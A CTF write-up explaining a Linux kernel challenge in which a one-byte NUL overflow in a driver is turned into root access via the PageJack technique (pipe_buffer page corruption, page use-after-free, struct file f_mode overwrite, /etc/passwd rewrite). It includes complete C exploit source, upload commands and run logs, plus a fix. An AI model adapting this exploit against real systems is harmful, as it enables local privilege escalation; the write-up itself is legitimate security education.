← felipe cabrera
· by Felipe CabreraEspañol ↗

IO_HO_FIRM 2.0: PageJack from a one-byte NULL in the kernel

IO_HO_FIRM 2.0 was one of the six challenges in the OEA Cyber Challenge 2026 (on HackRocks), which I played with Stefano Francolino on the team Never be Frog. A single out-of-bounds NUL byte in a driver ends in reading the flag as root, without touching a single kernel address. The technique is PageJack, fully data-only. This is the writeup.

  • CTF: OEA Cyber Challenge 2026 (HackRocks)
  • Category: kernel exploitation / pwn
  • Service: ch4ll3ng3s.hackrocks.com:6767
  • Environment: initramfs Linux 6.13.0 SMP preempt, user uid 1000 (unprivileged)
  • Surface: /dev/ioho_kd (0666) + /ioho_kd.ko
  • Target: /flag (0600, root)
  • Authors: Felipe Cabrera and Stefano Francolino

The idea

The challenge gives you an unprivileged shell in a minimal Linux VM and exposes a char device, /dev/ioho_kd, driven by a kernel module with two ioctls:

  • 0xf000 (CMD_ALLOC): allocates a single 0x400-byte object in kmalloc-1k.
  • 0xf001 (CMD_WRITE): copies up to 0x400 bytes from userspace and then writes a NUL at obj[size].

The bug: the check rejects size > 0x400 but allows size == 0x400. The terminator lands at obj[0x400], the first byte of the next object in the same slab. It is a one-byte NULL off-by-one.

The rest is the PageJack technique, fully data-only:

  1. Place a struct pipe_buffer array right behind obj (both in kmalloc-1k).
  2. Zero the low byte of bufs[0].page of a victim pipe. Since struct page is 0x40-aligned, the pointer is redirected to a neighboring physical page, which belongs to another pipe of ours.
  3. Close the origin pipe to free that page; the victim keeps a stale pointer, i.e. a page UAF.
  4. Reclaim the page as a struct file slab by opening /etc/passwd many times.
  5. Write at page+0xc to overwrite struct file->f_mode and make an O_RDONLY fd writable.
  6. Rewrite /etc/passwd with a known root hash, su root with 1234, and read /flag.

Because it is data-only there is no need for KASLR, ROP or commit_creds, so kptr_restrict and dmesg_restrict are no obstacle.

Recon

On connecting, the service boots a minimal VM and hands over an unprivileged BusyBox shell:

==========================================
IO_HO_FIRM 2.0
==========================================
/ $ id
uid=1000 gid=1000 groups=1000

The initramfs /init reveals the challenge setup:

chmod 600 /flag
chown root:root /flag
chmod u+s /bin/su
...
insmod /ioho_kd.ko
chmod 666 /dev/ioho_kd
setsid cttyhack setuidgid 1000 sh

and hardens the kernel:

sysctl -w kernel.perf_event_paranoid=3
sysctl -w kernel.dmesg_restrict=1
sysctl -w kernel.kptr_restrict=1

There is no compiler in the VM, only BusyBox. The module is readable, so we extract it from the shell itself:

/ $ base64 /ioho_kd.ko

The resulting file is 8720 bytes, vermagic=6.13.0 SMP preempt mod_unload.

Module analysis

The module keeps its .symtab, which makes analysis easier:

SymbolTypeValueSize
module_ioctlSTT_FUNC0x100x113
objSTT_OBJECT0x00x8
module_lockSTT_OBJECT0x1800x20
vuln_devSTT_OBJECT0x00x50
module_fopsSTT_OBJECT0x600x108

obj is a global pointer to a single kernel object. The handler registered in file_operations.unlocked_ioctl is module_ioctl.

The handler first copies a 16-byte struct req and serializes with mutex_lock(&module_lock):

struct req {
    size_t size;
    char *data;
};

CMD_ALLOC (0xf000)

cmp qword ptr [obj], 0
jne  ...                ; only one allocation
mov  edx, 0x400         ; size = 0x400
mov  esi, 0xdc0         ; GFP_KERNEL | __GFP_ZERO
call __kmalloc_cache_noprof
mov  [obj], rax

Allocates 1024 bytes (0x400) in kmalloc-1k, already zeroed.

CMD_WRITE (0xf001): the vulnerability

mov rbx, [rsp]          ; rbx = req.size
mov rsi, [rsp+8]        ; rsi = req.data
mov rdi, [obj]          ; rdi = obj
cmp rbx, 0x400
ja   ...                ; rejects size > 0x400
...
mov rdx, rbx
call _copy_from_user    ; copy_from_user(obj, data, size)
...
mov rax, [obj]
mov byte ptr [rax+rbx], 0   ; <-- obj[size] = 0

The flaw:

  • The check is size > 0x400, so size == 0x400 passes.
  • After copying exactly 0x400 bytes into the object, a NUL is written out of bounds: obj[0x400].
  • That offset lands on the first byte of the next object in the same kmalloc-1k slab.

It is not a large overflow: it is a one-byte NULL off-by-one on the kernel heap.

Exploitation: PageJack

What we put behind obj

A pipe() allocates its buffer array with kcalloc(16, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT). On x86-64:

FieldOffsetSize
struct page *page+0x008
unsigned int offset+0x084
unsigned int len+0x0c4
const struct pipe_buf_operations *ops+0x108
unsigned int flags+0x184
unsigned long private+0x208
sizeof(struct pipe_buffer)0x28

The 16-entry array is 16 * 0x28 = 0x280, which also lands in kmalloc-1k. If it sits right behind obj, the NUL at obj[0x400] lands exactly on the low byte of bufs[0].page.

struct page * is 0x40-aligned, so its low byte can only be 0x00, 0x40, 0x80 or 0xc0. Zeroing it redirects the pointer up to three entries back in the struct page array (vmemmap), i.e. to a neighboring physical page. If that page is the data page of another pipe we control, the victim pipe now reads and writes another pipe's page.

Heap grooming

#define NPIPES 0x180   /* 384 pipes */
#define NOPEN  0x60    /* 96 opens of /etc/passwd */
#define MAGIC  0x4f485100u

for (i = 0; i < NPIPES/2; i++) pipe(pfd[i]);   /* first half */
c_alloc();                                      /* ioctl(0xf000) */
for (i = NPIPES/2; i < NPIPES; i++) pipe(pfd[i]); /* second half */

With SLUB's LIFO freelist, obj ends up interleaved among pipe_buffer arrays. Then each pipe is primed with 12 bytes (a unique marker), so each pipe gets a data page and bufs[0] = {page_i, offset=0, len=0xc}. The pages are allocated in a tight loop, so many of them end up physically contiguous.

Trigger and detection

unsigned char big[0x400];
memset(big, 0x41, sizeof(big));
c_write(big, 0x400);   /* copies 0x400 + obj[0x400] = 0 */

We read 4 bytes from each pipe. A normal pipe i returns MAGIC | i; the victim, whose page was redirected to origin's page, returns MAGIC | origin. If the pointer's low byte was already 0x00, there is no victim and we retry with another connection.

Page UAF and reclaim

close(pfd[origin][0]);
close(pfd[origin][1]);   /* frees origin's page */

The victim pipe still points at that unreferenced page: page UAF. We reclaim it by opening /etc/passwd 96 times; each open allocates a struct file from the filp cache, and the freed page is reused as a struct file slab with the first object at offset 0.

F_mode overlap

After the scan, the victim pipe has offset = 4 and len = 8 (we read 4 of the 0xc bytes), so the next write lands at offset + len = 0xc:

unsigned int fake_mode = 0x084f801f;  /* FMODE_WRITE (0x2), FMODE_READ, ... */
write(pfd[victim][1], &fake_mode, 4); /* writes at page+0xc */

That page+0xc is struct file->f_mode of the first struct file on the page. The value sets FMODE_WRITE, so an fd opened O_RDONLY becomes writable. Then we try each fd by writing the new /etc/passwd:

root:$1$II95DxKV$0b0LeHZZDTaQK.VinipJN/:0:0:root:/root:/bin/sh
ctf:x:1000:1000:ctf:/home/ctf:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

The hash $1$II95DxKV$0b0LeHZZDTaQK.VinipJN/ is the md5crypt of 1234 (verified with passlib.hash.md5_crypt.verify).

Su root and flag

execl("/bin/su", "su", "root", NULL);

/bin/su is setuid root. We feed it 1234, get a root shell, and read /flag. Because the exploit execs, the fds (and the borrowed page) stay alive during su.

Real run

The exploit is built as a static x86-64 ELF (no interpreter, for the libc-less initramfs) and uploaded over the shell in base64+gzip:

echo <b64_line> >> /tmp/b64
base64 -d /tmp/b64 > /tmp/exp.gz
gunzip -c /tmp/exp.gz > /tmp/exp
chmod +x /tmp/exp
md5sum /tmp/exp    # compared against the local MD5

with stty -echo so the terminal does not echo the payload back.

Attempt 1 (controlled page, but no writable fd):

[+] victim=256 origin=0
[+] closed origin pipe 0 -> page freed
[+] opened 96 /etc/passwd fds
[+] f_mode overwrite write=4 errno=0
[-] no writable passwd fd

The UAF and the write to page+0xc worked, but the page was not reclaimed by any of our 96 struct file objects (the reclaim is probabilistic). Retry.

Attempt 2 (success):

[+] victim=192 origin=191
[+] closed origin pipe 191 -> page freed
[+] opened 96 /etc/passwd fds
[+] f_mode overwrite write=4 errno=0
[+] PWNED idx=3 wrote=150
[+] passwd rebuilt, exec su root (password 1234)
Password:
/ # id
/ # cat /flag
p4g3j4ck_h1ts_d1ff
/ # wc -c /flag
20 /flag
/ # xxd /flag
00000000: 0a70 3467 336a 3463 6b5f 6831 7473 5f64  .p4g3j4ck_h1ts_d
00000010: 3166 660a                                1ff.

The file /flag contains \n p4g3j4ck_h1ts_d1ff \n: 20 bytes (18 characters plus two newlines).

Flag: p4g3j4ck_h1ts_d1ff

Key points

  1. Logic bug. The copy_from_user is well bounded; what is missing is validating the NUL terminator (size == 0x400).
  2. Data-only. No kernel addresses, KASLR, ROP or commit_creds. That is why kptr_restrict and dmesg_restrict do not matter.
  3. One NUL is enough. The 0x40 alignment of struct page means zeroing the LSB redirects to a neighboring page; the grooming guarantees that neighbor is ours.
  4. Page UAF + reclaim. Closing origin frees the page; opening /etc/passwd turns it into a struct file slab; offset 0xc lines up with f_mode.
  5. Retries. Both the victim selection (LSB already zero) and the filp reclaim are probabilistic. Attempt 1 gave no writable fd; attempt 2 worked.

Mitigation

/* BAD */
if (size > 0x400) return -EINVAL;
...
obj[size] = 0;

/* GOOD */
if (size >= 0x400) return -EINVAL;  /* or allocate 0x401 */
/* and no terminator is needed: the object was already allocated with __GFP_ZERO */

Alternatives: drop the NUL write entirely (the buffer is already zeroed) or bound strictly with no out-of-range terminator. Hardening such as kptr_restrict, dmesg_restrict or SLUB freelist hardening does not mitigate this flaw, because the problem is a one-byte logical OOB.

Appendix: exploit

exp.c:

// IO_HO_FIRM 2.0 -- PageJack: off-by-one NULL -> pipe_buffer.page LSB -> page UAF
// -> reclaim freed page as filp slab -> overwrite struct file->f_mode at +0xc
// -> make /etc/passwd writable -> rebuild passwd -> su root -> cat /flag
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define DEV "/dev/ioho_kd"
#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define OBJ_SIZE 0x400

#ifndef NPIPES
#define NPIPES 0x180   /* total pipes (2*NPIPES fds) */
#endif
#ifndef NOPEN
#define NOPEN 0x60
#endif

#define MAGIC 0x4f485100u   /* 'OHQ' + idx low byte */

typedef struct { size_t size; char *data; } req_t;

static int devfd;
static int pfd[NPIPES][2];

static long c_alloc(void){ req_t r; memset(&r,0,sizeof(r)); return ioctl(devfd, CMD_ALLOC,&r); }
static long c_write(void*buf,size_t sz){ req_t r; r.size=sz; r.data=(char*)buf; return ioctl(devfd,CMD_WRITE,&r); }

static void pause_forever(void){ while(1) pause(); }

int main(void){
    setvbuf(stdout,NULL,_IONBF,0);
    setvbuf(stderr,NULL,_IONBF,0);

    devfd = open(DEV, O_RDWR);
    printf("[+] open %s = %d (errno=%d)\n", DEV, devfd, errno);
    if(devfd<0) return 1;

    unsigned char mb[0xc];
    unsigned int m;

    /* Phase 1: create first half of pipes (their kmalloc-1k bufs arrays) */
    for(int i=0;i<NPIPES/2;i++){
        if(pipe(pfd[i])<0){ printf("[-] pipe %d errno=%d\n",i,errno); return 2; }
    }

    /* Allocate the single global kernel object (kmalloc-1k) */
    long r = c_alloc();
    printf("[+] CMD_ALLOC ret=%ld\n", r);

    /* Phase 2: create second half of pipes */
    for(int i=NPIPES/2;i<NPIPES;i++){
        if(pipe(pfd[i])<0){ printf("[-] pipe %d errno=%d\n",i,errno); return 2; }
    }
    printf("[+] created %d pipes\n", NPIPES);

    /* Prime every pipe with a marker in ONE tight loop so the backing pages
       are allocated consecutively -> victim's page neighbours are our pages. */
    for(int i=0;i<NPIPES;i++){
        m = MAGIC | (unsigned int)i;
        memcpy(mb,&m,4); memset(mb+4,0,8);
        if(write(pfd[i][1],mb,0xc)!=0xc){ printf("[-] w %d errno=%d\n",i,errno); return 2; }
    }
    printf("[+] primed all pipes\n");

    /* Trigger the off-by-one NULL into obj+0x400 => bufs[0].page LSB */
    unsigned char big[OBJ_SIZE];
    memset(big,0x41,sizeof(big));
    r = c_write(big,OBJ_SIZE);
    printf("[+] CMD_WRITE(0x400) ret=%ld\n", r);

    /* Detect victim pipe: its bufs[0].page now points to another pipe page */
    int victim=-1, origin=-1;
    unsigned int seen[NPIPES];
    for(int i=0;i<NPIPES;i++){
        unsigned int v=0;
        ssize_t n = read(pfd[i][0], &v, 4);
        seen[i]=v;
        if(n!=4){ printf("[!] short read %d n=%zd errno=%d\n", i, n, errno); }
    }
    for(int i=0;i<NPIPES;i++){
        unsigned int v = seen[i];
        if((v & 0xffffff00u) != (MAGIC & 0xffffff00u)) continue; /* not one of ours */
        int idx = (int)(v & 0xff);
        if(idx != i){ victim=i; origin=idx; break; }
    }

    printf("[+] victim=%d origin=%d\n", victim, origin);
    if(victim<0){ printf("[-] no victim (LSB already 0?)\n"); pause_forever(); return 3; }
    if(origin<0 || origin>=NPIPES || origin==victim || ((seen[origin] & 0xffffff00u)!=(MAGIC & 0xffffff00u))){
        printf("[-] bad origin=%d (seen=0x%08x)\n", origin, origin>=0&&origin<NPIPES?seen[origin]:0);
        pause_forever(); return 4;
    }

    /* Free origin's page while victim still references it (page UAF) */
    close(pfd[origin][0]);
    close(pfd[origin][1]);
    printf("[+] closed origin pipe %d -> page freed\n", origin);

    /* Reclaim the freed page as a filp slab */
    int ff[NOPEN];
    for(int i=0;i<NOPEN;i++) ff[i] = -1;
    for(int i=0;i<NOPEN;i++){
        ff[i] = open("/etc/passwd", O_RDONLY);
        if(ff[i]<0) printf("[!] open passwd %d errno=%d\n", i, errno);
    }
    printf("[+] opened %d /etc/passwd fds\n", NOPEN);

    /* Write at page+0xc => struct file->f_mode (offset+len == 0xc invariant) */
    unsigned int fake_mode = 0x084f801f;
    ssize_t w = write(pfd[victim][1], &fake_mode, 4);
    printf("[+] f_mode overwrite write=%zd errno=%d\n", w, errno);

    /* Rebuild /etc/passwd via whichever fd became writable */
    const char *payload =
        "root:$1$II95DxKV$0b0LeHZZDTaQK.VinipJN/:0:0:root:/root:/bin/sh\n"
        "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh\n"
        "nobody:x:65534:65534:nobody:/nonexistent:/bin/sh\n";
    int okfd=-1;
    for(int i=0;i<NOPEN;i++){
        if(ff[i]<0) continue;
        lseek(ff[i],0,SEEK_SET);
        ssize_t n = write(ff[i], payload, strlen(payload));
        if(n>0){ okfd=ff[i]; printf("[+] PWNED idx=%d wrote=%zd\n", i, n); break; }
    }

    if(okfd<0){ printf("[-] no writable passwd fd\n"); pause_forever(); return 5; }

    printf("[+] passwd rebuilt, exec su root (password 1234)\n");
    /* exec su: fds stay open so the foreign page is never put_page'd */
    execl("/bin/su", "su", "root", (char*)NULL);
    printf("[-] exec su failed errno=%d\n", errno);
    if(fork()==0) pause_forever();
    return 0;
}

Reproduction

From the working directory:

python ioho/solve.py 2

Or by hand, once connected to the service:

stty -echo
# upload exp.b64 line by line with: echo <line> >> /tmp/b64
base64 -d /tmp/b64 > /tmp/exp.gz
gunzip -c /tmp/exp.gz > /tmp/exp; chmod +x /tmp/exp
/tmp/exp
# when "Password:" appears:
1234
cat /flag

Related: OEA Cyber Challenge 2026 recap · GitHub